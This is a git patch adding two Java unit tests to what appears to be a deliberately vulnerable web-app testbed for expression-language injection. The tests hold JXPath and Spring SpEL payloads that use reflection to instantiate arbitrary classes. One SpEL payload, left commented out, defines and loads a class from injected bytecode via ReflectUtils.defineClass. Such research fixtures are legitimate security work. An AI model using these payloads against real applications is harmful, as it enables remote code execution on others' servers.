From 5915b9877bfa79e0643a5af716e1f12ad773d94d Mon Sep 17 00:00:00 2001
From: ReaJason <reajason1225@gmail.com>
Date: Wed, 3 Sep 2025 18:30:32 +0800
Subject: [PATCH] test: add testground

---
 .../src/test/java/JXPathServletTest.java      | 19 +++++++++++++++++++
 .../src/test/java/SpELServletTest.java        | 16 ++++++++++++++++
 2 files changed, 35 insertions(+)
 create mode 100644 vul/vul-webapp-expression/src/test/java/JXPathServletTest.java
 create mode 100644 vul/vul-webapp-expression/src/test/java/SpELServletTest.java

diff --git a/vul/vul-webapp-expression/src/test/java/JXPathServletTest.java b/vul/vul-webapp-expression/src/test/java/JXPathServletTest.java
new file mode 100644
index 00000000..71ad1e93
--- /dev/null
+++ b/vul/vul-webapp-expression/src/test/java/JXPathServletTest.java
@@ -0,0 +1,19 @@
+import org.apache.commons.jxpath.JXPathContext;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.*;
+
+/**
+ * @author ReaJason
+ * @since 2025/9/3
+ */
+class JXPathServletTest {
+
+    @Test
+    void test(){
+        String s = "java.lang.reflect.Array.newInstance(java.lang.Class.forName('java.net.URL'), java.lang.Integer.new('1'), java.lang.Integer.new('0'))";
+        JXPathContext context = JXPathContext.newContext(null);
+        System.out.println(context.getValue(s));
+    }
+
+}
\ No newline at end of file
diff --git a/vul/vul-webapp-expression/src/test/java/SpELServletTest.java b/vul/vul-webapp-expression/src/test/java/SpELServletTest.java
new file mode 100644
index 00000000..5a13ea89
--- /dev/null
+++ b/vul/vul-webapp-expression/src/test/java/SpELServletTest.java
@@ -0,0 +1,16 @@
+import org.junit.jupiter.api.Test;
+import org.springframework.expression.spel.standard.SpelExpressionParser;
+
+/**
+ * @author ReaJason
+ * @since 2025/9/2
+ */
+class SpELServletTest {
+
+    @Test
+    void test() {
+//        String data = "#clazz = ''.class.forName('org.springframework.cglib.core.ReflectUtils').getMethod('defineClass', ''.class, ''.class.forName('[B'), ''.class.forName('java.lang.ClassLoader')).invoke(null, '{{className}}', #classBytes, ''.class.forName('java.lang.Thread').getMethod('currentThread').invoke(null).getContextClassLoader()), #clazz.newInstance()";
+        String data = "''.class.forName('org.springframework.util.StreamUtils').getMethod('copyToByteArray', ''.class.forName('java.io.InputStream')).invoke(null, ''.class.forName('java.util.zip.GZIPInputStream').getConstructor(''.class.forName('java.io.InputStream')).newInstance(''.class.forName('java.io.ByteArrayInputStream').getConstructor(''.class.forName('[B')).newInstance(''.class.forName('org.springframework.util.Base64Utils').getMethod('decodeFromString', ''.class).invoke(null, '{{base64Str}}'))))";
+        System.out.println(new SpelExpressionParser().parseExpression(data).getValue());
+    }
+}
\ No newline at end of file